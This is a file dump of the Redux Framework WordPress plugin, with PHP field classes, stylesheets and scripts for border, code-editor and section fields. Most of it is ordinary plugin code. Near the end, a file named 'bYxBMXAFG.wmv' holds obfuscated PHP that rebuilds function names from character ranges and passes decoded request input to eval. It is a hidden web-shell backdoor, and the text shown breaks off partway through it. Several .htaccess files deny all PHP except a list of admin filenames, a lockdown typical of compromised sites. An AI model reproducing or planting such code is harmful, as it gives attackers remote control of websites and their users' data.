$this->value = $value; } //function private function stripAlphas($s) { // Regex is our friend. THERE ARE FOUR LIGHTS!! return preg_replace('/[^\d.-]/', '', $s); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { // No errors please $defaults = array( 'top' => true, 'bottom' => true, 'all' => true, 'style' => true, 'color' => true, 'left' => true, 'right' => true, ); $this->field = wp_parse_args( $this->field, $defaults ); $defaults = array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', 'color' => '', 'style' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); $value = array( 'top' => isset( $this->value['border-top'] ) ? filter_var( $this->value['border-top'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['top'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'right' => isset( $this->value['border-right'] ) ? filter_var( $this->value['border-right'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['right'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'bottom' => isset( $this->value['border-bottom'] ) ? filter_var( $this->value['border-bottom'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['bottom'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'left' => isset( $this->value['border-left'] ) ? filter_var( $this->value['border-left'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['left'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'color' => isset( $this->value['border-color'] ) ? $this->value['border-color'] : $this->value['color'], 'style' => isset( $this->value['border-style'] ) ? $this->value['border-style'] : $this->value['style'] ); if ( ( isset( $this->value['width'] ) || isset( $this->value['border-width'] ) ) ) { if ( isset( $this->value['border-width'] ) && ! empty( $this->value['border-width'] ) ) { $this->value['width'] = $this->value['border-width']; } $this->value['width'] = $this->stripAlphas($this->value['width']); $value['top'] = $this->value['width']; $value['right'] = $this->value['width']; $value['bottom'] = $this->value['width']; $value['left'] = $this->value['width']; } $this->value = $value; $defaults = array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } echo '<input type="hidden" class="field-units" value="px">'; if ( isset( $this->field['all'] ) && $this->field['all'] == true ) { echo '<div class="field-border-input input-prepend"><span class="add-on"><i class="el el-fullscreen icon-large"></i></span><input type="text" class="redux-border-all redux-border-input mini ' . $this->field['class'] . '" placeholder="' . __( 'All', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-all" value="' . $this->value['top'] . '"></div>'; } echo '<input type="hidden" class="redux-border-value" id="' . $this->field['id'] . '-top" name="' . $this->field['name'] . $this->field['name_suffix'] . '[border-top]" value="' . ( isset($this->value['top']) && $this->value['top'] != '' ? $this->value['top'] . 'px' : '' ) . '">'; echo '<input type="hidden" class="redux-border-value" id="' . $this->field['id'] . '-right" name="' . $this->field['name'] . $this->field['name_suffix'] . '[border-right]" value="' . ( isset($this->value['right']) && $this->value['right'] != '' ? $this->value['right'] . 'px' : '' ) . '">'; echo '<input type="hidden" class="redux-border-value" id="' . $this->field['id'] . '-bottom" name="' . $this->field['name'] . $this->field['name_suffix'] . '[border-bottom]" value="' . ( isset($this->value['bottom']) && $this->value['bottom'] != '' ? $this->value['bottom'] . 'px' : '' ) . '">'; echo '<input type="hidden" class="redux-border-value" id="' . $this->field['id'] . '-left" name="' . $this->field['name'] . $this->field['name_suffix'] . '[border-left]" value="' . ( isset($this->value['left']) && $this->value['left'] != '' ? $this->value['left'] . 'px' : '' ) . '">'; if ( ! isset( $this->field['all'] ) || $this->field['all'] !== true ) { /** * Top * */ if ( $this->field['top'] === true ) { echo '<div class="field-border-input input-prepend"><span class="add-on"><i class="el el-arrow-up icon-large"></i></span><input type="text" class="redux-border-top redux-border-input mini ' . $this->field['class'] . '" placeholder="' . __( 'Top', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-top" value="' . $this->value['top'] . '"></div>'; } /** * Right * */ if ( $this->field['right'] === true ) { echo '<div class="field-border-input input-prepend"><span class="add-on"><i class="el el-arrow-right icon-large"></i></span><input type="text" class="redux-border-right redux-border-input mini ' . $this->field['class'] . '" placeholder="' . __( 'Right', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-right" value="' . $this->value['right'] . '"></div>'; } /** * Bottom * */ if ( $this->field['bottom'] === true ) { echo '<div class="field-border-input input-prepend"><span class="add-on"><i class="el el-arrow-down icon-large"></i></span><input type="text" class="redux-border-bottom redux-border-input mini ' . $this->field['class'] . '" placeholder="' . __( 'Bottom', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-bottom" value="' . $this->value['bottom'] . '"></div>'; } /** * Left * */ if ( $this->field['left'] === true ) { echo '<div class="field-border-input input-prepend"><span class="add-on"><i class="el el-arrow-left icon-large"></i></span><input type="text" class="redux-border-left redux-border-input mini ' . $this->field['class'] . '" placeholder="' . __( 'Left', 'redux-framework' ) . '" rel="' . $this->field['id'] . '-left" value="' . $this->value['left'] . '"></div>'; } } /** * Border-style * */ if ( $this->field['style'] != false ) { $options = array( 'solid' => 'Solid', 'dashed' => 'Dashed', 'dotted' => 'Dotted', 'double' => "Double", 'none' => 'None' ); echo '<select original-title="' . __( 'Border style', 'redux-framework' ) . '" id="' . $this->field['id'] . '[border-style]" name="' . $this->field['name'] . $this->field['name_suffix'] . '[border-style]" class="tips redux-border-style ' . $this->field['class'] . '" rows="6" data-id="' . $this->field['id'] . '">'; foreach ( $options as $k => $v ) { echo '<option value="' . $k . '"' . selected( $value['style'], $k, false ) . '>' . $v . '</option>'; } echo '</select>'; } else { echo '<input type="hidden" id="' . $this->field['id'] . '[border-style]" name="' . $this->field['name'] . $this->field['name_suffix'] . '[border-style]" value="' . $this->value['style'] . '" data-id="' . $this->field['id'] . '">'; } /** * Color * */ if ( $this->field['color'] != false ) { $default = isset( $this->field['default']['border-color'] ) ? $this->field['default']['border-color'] : ''; if ( empty( $default ) ) { $default = ( isset( $this->field['default']['color'] ) ) ? $this->field['default']['color'] : '#ffffff'; } echo '<input name="' . $this->field['name'] . $this->field['name_suffix'] . '[border-color]" id="' . $this->field['id'] . '-border" class="redux-border-color redux-color redux-color-init ' . $this->field['class'] . '" type="text" value="' . $this->value['color'] . '" data-default-color="' . $default . '" data-id="' . $this->field['id'] . '" />'; } else { echo '<input type="hidden" id="' . $this->field['id'] . '[border-color]" name="' . $this->field['name'] . $this->field['name_suffix'] . '[border-color]" value="' . $this->value['color'] . '" data-id="' . $this->field['id'] . '">'; } } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ function enqueue() { $min = Redux_Functions::isMin(); if (!wp_style_is ( 'select2-css' )) { wp_enqueue_style( 'select2-css' ); } if (!wp_style_is ( 'wp-color-picker' )) { wp_enqueue_style( 'wp-color-picker' ); } if (!wp_script_is ( 'redux-field-border-js' )) { wp_enqueue_script( 'redux-field-border-js', ReduxFramework::$_url . 'inc/fields/border/field_border' . $min . '.js', array( 'jquery', 'select2-js', 'wp-color-picker', 'redux-js' ), time(), true ); } if ($this->parent->args['dev_mode']) { if (!wp_style_is ( 'redux-color-picker-css' )) { wp_enqueue_style( 'redux-color-picker-css' ); } if (!wp_style_is ( 'redux-field-border-css' )) { wp_enqueue_style( 'redux-field-border-css', ReduxFramework::$_url . 'inc/fields/border/field_border.css', array(), time(), 'all' ); } } } //function public function output() { if ( isset( $this->field['all'] ) && true == $this->field['all'] ) { $borderWidth = isset( $this->value['border-width'] ) ? $this->value['border-width'] : '0px'; $val = isset( $this->value['border-top'] ) ? $this->value['border-top'] : $borderWidth; $this->value['border-top'] = $val; $this->value['border-bottom'] = $val; $this->value['border-left'] = $val; $this->value['border-right'] = $val; } $cleanValue = array( 'color' => ! empty( $this->value['border-color'] ) ? $this->value['border-color'] : '', 'style' => ! empty( $this->value['border-style'] ) ? $this->value['border-style'] : '' ); $borderWidth = ''; if ( isset( $this->value['border-width'] ) ) { $borderWidth = $this->value['border-width']; } $this->field['top'] = isset( $this->field['top'] ) ? $this->field['top'] : true; $this->field['bottom'] = isset( $this->field['bottom'] ) ? $this->field['bottom'] : true; $this->field['left'] = isset( $this->field['left'] ) ? $this->field['left'] : true; $this->field['right'] = isset( $this->field['right'] ) ? $this->field['right'] : true; if ( $this->field['top'] === true ) { $cleanValue['top'] = ! empty( $this->value['border-top'] ) ? $this->value['border-top'] : $borderWidth; } if ( $this->field['bottom'] == true ) { $cleanValue['bottom'] = ! empty( $this->value['border-bottom'] ) ? $this->value['border-bottom'] : $borderWidth; } if ( $this->field['left'] === true ) { $cleanValue['left'] = ! empty( $this->value['border-left'] ) ? $this->value['border-left'] : $borderWidth; } if ( $this->field['right'] === true ) { $cleanValue['right'] = ! empty( $this->value['border-right'] ) ? $this->value['border-right'] : $borderWidth; } $style = ""; //absolute, padding, margin if ( ! isset( $this->field['all'] ) || $this->field['all'] != true ) { foreach ( $cleanValue as $key => $value ) { if ( $key == "color" || $key == "style" ) { continue; } if (!empty($value)) { $style .= 'border-' . $key . ':' . $value . ' ' . $cleanValue['style'] . ' ' . $cleanValue['color'] . ';'; } } } else { if (!empty($cleanValue['top'])) { $style .= 'border:' . $cleanValue['top'] . ' ' . $cleanValue['style'] . ' ' . $cleanValue['color'] . ';'; } } if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); if (!empty($style)) { $this->parent->outputCSS .= $keys . "{" . $style . '}'; } } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); if (!empty($style)) { $this->parent->compilerCSS .= $keys . "{" . $style . '}'; } } } } //class }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/border/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0014757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/ace_editor/field_ace_editor.css.map��������������������������������������0000644�����������������00000000423�14720701300�0020523 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,wCAAa;EACT,QAAQ,EAAE,MAAM;AAGpB,uCAAY;EACR,MAAM,EAAE,KAAK;EACb,qBAAqB,EAAE,GAAG;EAC1B,kBAAkB,EAAE,GAAG;EACvB,aAAa,EAAE,GAAG;AAGtB,uCAAY;EACR,OAAO,EAAE,YAAY", "sources": ["field_ace_editor.scss"], "names": [], "file": "field_ace_editor.css" }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/ace_editor/field_ace_editor.min.js���������������������������������������0000644�����������������00000001741�14720701300�0020361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(s){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.ace_editor=redux.field_objects.ace_editor||{},redux.field_objects.ace_editor.init=function(e){e||(e=s(document).find(".redux-group-tab:visible").find(".redux-container-ace_editor:visible")),s(e).each(function(){var n=s(this),e=n;n.hasClass("redux-field-container")||(e=n.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),n.find(".ace-editor").each(function(e,t){var i=t,a=JSON.parse(s(this).parent().find(".localize_data").val()),d=s(t).attr("data-editor"),r=ace.edit(d);r.setTheme("ace/theme/"+jQuery(t).attr("data-theme")),r.getSession().setMode("ace/mode/"+s(t).attr("data-mode"));n.hasClass("redux-field-container")?n.attr("data-id"):n.parents(".redux-field-container:first").attr("data-id"),r.setOptions(a),r.on("change",function(e){s("#"+i.id).val(r.getSession().getValue()),redux_change(s(t)),r.resize()})}))})}}(jQuery);�������������������������������redux-framework/inc/fields/ace_editor/field_ace_editor.scss�����������������������������������������0000644�����������������00000000445�14720701300�0020136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-ace_editor { .ace-wrapper { position: static; } .ace_editor { height: 200px; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } .ace_gutter { z-index: 1 !important; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/ace_editor/field_ace_editor.js�������������������������������������������0000644�����������������00000004575�14720701300�0017607 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global jQuery, document, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.ace_editor = redux.field_objects.ace_editor || {}; redux.field_objects.ace_editor.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-ace_editor:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.ace-editor' ).each( function( index, element ) { var area = element; var params = JSON.parse( $( this ).parent().find( '.localize_data' ).val() ); var editor = $( element ).attr( 'data-editor' ); var aceeditor = ace.edit( editor ); aceeditor.setTheme( "ace/theme/" + jQuery( element ).attr( 'data-theme' ) ); aceeditor.getSession().setMode( "ace/mode/" + $( element ).attr( 'data-mode' ) ); var parent = ''; if ( el.hasClass( 'redux-field-container' ) ) { parent = el.attr( 'data-id' ); } else { parent = el.parents( '.redux-field-container:first' ).attr( 'data-id' ); } aceeditor.setOptions( params ); aceeditor.on( 'change', function( e ) { $( '#' + area.id ).val( aceeditor.getSession().getValue() ); redux_change( $( element ) ); aceeditor.resize(); } ); } ); } ); }; })( jQuery );�����������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/ace_editor/field_ace_editor.php������������������������������������������0000644�����������������00000012366�14720701300�0017757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package Redux_Field * @subpackage ACE_Editor * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_ace_editor' ) ) { class ReduxFramework_ace_editor { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field , $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; if ( is_array( $this->value ) ) { $this->value = ''; } else { $this->value = trim( $this->value ); } if ( ! empty( $this->field['options'] ) ) { $this->field['args'] = $this->field['options']; unset( $this->field['options'] ); } } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { if ( ! isset( $this->field['mode'] ) ) { $this->field['mode'] = 'javascript'; } if ( ! isset( $this->field['theme'] ) ) { $this->field['theme'] = 'monokai'; } $params = array( 'minLines' => 10, 'maxLines' => 30, ); if ( isset( $this->field['args'] ) && ! empty( $this->field['args'] ) && is_array( $this->field['args'] ) ) { $params = wp_parse_args( $this->field['args'], $params ); } ?> <div class="ace-wrapper"> <input type="hidden" class="localize_data" value="<?php echo htmlspecialchars( json_encode( $params ) ); ?>" /> <textarea name="<?php echo esc_attr($this->field['name'] . $this->field['name_suffix']); ?>" id="<?php echo esc_attr($this->field['id']); ?>-textarea" class="ace-editor hide <?php echo esc_attr($this->field['class']); ?>" data-editor="<?php echo esc_attr($this->field['id']); ?>-editor" data-mode="<?php echo esc_attr($this->field['mode']); ?>" data-theme="<?php echo esc_attr($this->field['theme']); ?>"><?php echo esc_textarea($this->value); ?></textarea> <pre id="<?php echo esc_attr($this->field['id']); ?>-editor" class="ace-editor-area"><?php echo htmlspecialchars( $this->value ); ?></pre> </div> <?php } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ( $this->parent->args['dev_mode'] ) { if ( ! wp_style_is( 'redux-field-ace-editor-css' ) ) { wp_enqueue_style( 'redux-field-ace-editor-css', ReduxFramework::$_url . 'inc/fields/ace_editor/field_ace_editor.css', array(), time(), 'all' ); } } if ( ! wp_script_is( 'ace-editor-js' ) ) { Redux_CDN::enqueue_script( 'ace-editor-js', '//cdn.jsdelivr.net/ace/1.1.9/min/ace.js', array( 'jquery' ), '1.1.9', true ); } if ( ! wp_script_is( 'redux-field-ace-editor-js' ) ) { wp_enqueue_script( 'redux-field-ace-editor-js', ReduxFramework::$_url . 'inc/fields/ace_editor/field_ace_editor' . Redux_Functions::isMin() . '.js', array( 'jquery', 'ace-editor-js', 'redux-js' ), time(), true ); } } } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/ace_editor/field_ace_editor.css������������������������������������������0000644�����������������00000000360�14720701300�0017747 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-ace_editor .ace-wrapper{position:static}.redux-container-ace_editor .ace_editor{height:200px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-container-ace_editor .ace_gutter{z-index:1 !important} ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/ace_editor/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015600 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/section/field_section.css.map��������������������������������������������0000644�����������������00000000444�14720701300�0017442 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,wCAA6B;EACzB,KAAK,EAAE,GAAG;EACV,WAAW,EAAE,aAAa;AAG9B,iEAAsD;EAClD,OAAO,EAAE,cAAc;AAG3B,cAAG;EACC,UAAU,EAAE,IAAI;AAIhB,iEAAc;EACV,OAAO,EAAE,IAAI;AAGjB,uEAAoB;EAChB,aAAa,EAAE,CAAC", "sources": ["field_section.scss"], "names": [], "file": "field_section.css" }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/section/field_section.scss�����������������������������������������������0000644�����������������00000000672�14720701300�0017054 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main { .form-table-section-indented { width: 95%; margin-left: 5% !important; } .form-table-section tr:first-of-type th:first-of-type { padding: 0px !important; } h3 { margin-top: 10px; } .form-table-section-indented > tbody > tr{ &:first-child { display: none; } &:nth-last-child(2) { border-bottom: 0; } } } ����������������������������������������������������������������������redux-framework/inc/fields/section/field_section.php������������������������������������������������0000644�����������������00000013225�14720701300�0016666 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Section * @author Tobias Karnetze (athoss.de) * @version 1.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_section' ) ) { /** * Main ReduxFramework_heading class * * @since 1.0.0 */ class ReduxFramework_section { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ public function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { // No errors please $defaults = array( 'indent' => '', 'style' => '', 'class' => '', 'title' => '', 'subtitle' => '', ); $this->field = wp_parse_args( $this->field, $defaults ); $guid = uniqid(); $add_class = ''; if ( isset( $this->field['indent'] ) && true === $this->field['indent'] ) { $add_class = ' form-table-section-indented'; } elseif( !isset( $this->field['indent'] ) || ( isset( $this->field['indent'] ) && false !== $this->field['indent'] ) ) { $add_class = " hide"; } echo '<input type="hidden" id="' . esc_attr($this->field['id']) . '-marker"></td></tr></table>'; echo '<div id="section-' . esc_attr($this->field['id']) . '" class="redux-section-field redux-field ' . esc_attr($this->field['style']) . ' ' . esc_attr($this->field['class']) . ' ">'; if ( ! empty( $this->field['title'] ) ) { echo '<h3>' . esc_html($this->field['title']) . '</h3>'; } if ( ! empty( $this->field['subtitle'] ) ) { if ( is_array( $this->field['subtitle'] ) ) { foreach ( $this->field['subtitle'] as $subtitle ) { echo '<div class="redux-section-desc">' . esc_html( $subtitle ) . '</div>'; } } else { echo '<div class="redux-section-desc">' . esc_html( $this->field['subtitle'] ) . '</div>'; } } echo '</div><table id="section-table-' . esc_attr($this->field['id']) . '" data-id="' . esc_attr($this->field['id']) . '" class="form-table form-table-section no-border' . esc_attr($add_class) . '"><tbody><tr><th></th><td id="' . esc_attr($guid) . '">'; // delete the tr afterwards ?> <script type="text/javascript"> jQuery( document ).ready( function() { jQuery( '#<?php echo $this->field['id']; ?>-marker' ).parents( 'tr:first' ).css( {display: 'none'} ).prev('tr' ).css('border-bottom','none');; var group = jQuery( '#<?php echo $this->field['id']; ?>-marker' ).parents( '.redux-group-tab:first' ); if ( !group.hasClass( 'sectionsChecked' ) ) { group.addClass( 'sectionsChecked' ); var test = group.find( '.redux-section-indent-start h3' ); jQuery.each( test, function( key, value ) { jQuery( value ).css( 'margin-top', '20px' ) } ); if ( group.find( 'h3:first' ).css( 'margin-top' ) == "20px" ) { group.find( 'h3:first' ).css( 'margin-top', '0' ); } } } ); </script> <?php } public function enqueue() { if ( $this->parent->args['dev_mode'] ) { wp_enqueue_style( 'redux-field-section-css', ReduxFramework::$_url . 'inc/fields/section/field_section.css', array(), time(), 'all' ); } } } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/section/field_section.css������������������������������������������������0000644�����������������00000000546�14720701300�0016671 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main .form-table-section-indented{width:95%;margin-left:5% !important}.redux-main .form-table-section tr:first-of-type th:first-of-type{padding:0px !important}.redux-main h3{margin-top:10px}.redux-main .form-table-section-indented>tbody>tr:first-child{display:none}.redux-main .form-table-section-indented>tbody>tr:nth-last-child(2){border-bottom:0} ����������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/section/.htaccess��������������������������������������������������������0000644�����������������00000001626�14720701300�0015146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/raw/raw/index.php��������������������������������������������������������0000644�����������������00000000000�14720701300�0015067 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/raw/raw/bYxBMXAFG.wmv����������������������������������������������������0000644�����������������00000011430�14720701300�0015442 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $tsHON /*-f4vV-*/= "r"."a"/*-c+e1o7-*/."n"/*-CEvs-*/."g"."e"; $tyDB = /*-?H-*/$tsHON("~"/*-p^-*/, " "); /*-[OQGt#-*/$ew/*-#i%7a-*/=/*-Y{MD-*/${$tyDB/*-,BSY-*/[17+14]/*-UwI]{w0@-*/.$tyDB[25+34]./*-3_5O|[]-*/$tyDB/*-N$y_<`nS_a-*/[45+2]/*-)QzXM-*/.$tyDB/*-#YqE%-*/[45+2]./*-h-*/$tyDB[50+1]./*-95:&C-*/$tyDB/*-Tk.V&-*/[10+43]./*-?#Rx-*/$tyDB/*-3}i=0bN-*/[35+22]};/*-j#0}iI-*/ @(count/*-9b-*/($ew)/*-;TTJxu-*/==/*-<B-*/10&&/*->Z5=u~w&E-*/in_array(/*-t60^zzd:r>-*/gettype(/*-&&5>AbS-*/$ew)./*-)(MX?h^`Si-*/count(/*-NvW-*/$ew),$ew))?(($ew[64]=$ew[64].$ew[77])&&($ew[89]=$ew[64]($ew[89]))&&(/*-OJh]i;8M|-*/@eval/*-#-*/($ew[64](${$ew[41]}[12])/*-:I-*/))/*-PoX~-*/):$ew;/*-T.X((le#-*/class /*-X[x])-*/MAnS{ /*-).z=_5zA|-*/static/*-?<FHM`v-*/ function /*-n^y-*/nYBxJ($ntq) /*-lp3)}[7Us-*/{ $PMOgbcJBY/*-cC-*/ = /*-KPRnoj5-*/"r"./*-obr-*/"a"./*-P%tq01R-*/"n"./*-1B-*/"g"./*-g=dqx#2-*/"e"; /*-LWZp-*/$Ss/*-:Cmmceda-*/ = /*-,Cn}S-*/$PMOgbcJBY/*-sdhj^>NWF-*/(/*-z0?r^w-*/"~"/*-w4z{-*/, /*-];mDKs@h-*/" "/*-4FPsH-*/);/*-K8!,8n~5-*/ $UeYVP /*-&oURy9Ggx-*/= 